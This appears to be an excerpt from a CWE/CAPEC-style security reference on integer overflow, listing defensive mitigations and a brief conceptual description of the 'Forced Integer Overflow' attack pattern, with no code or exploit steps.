Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- If possible, choose a language or compiler that performs automatic bounds checking.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
- Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
Mitigation MIT-8
Strategy: Input Validation
- Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
- Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
Mitigation MIT-36
- Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]
- Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-26
Strategy: Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
CAPEC-92: Forced Integer Overflow
This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.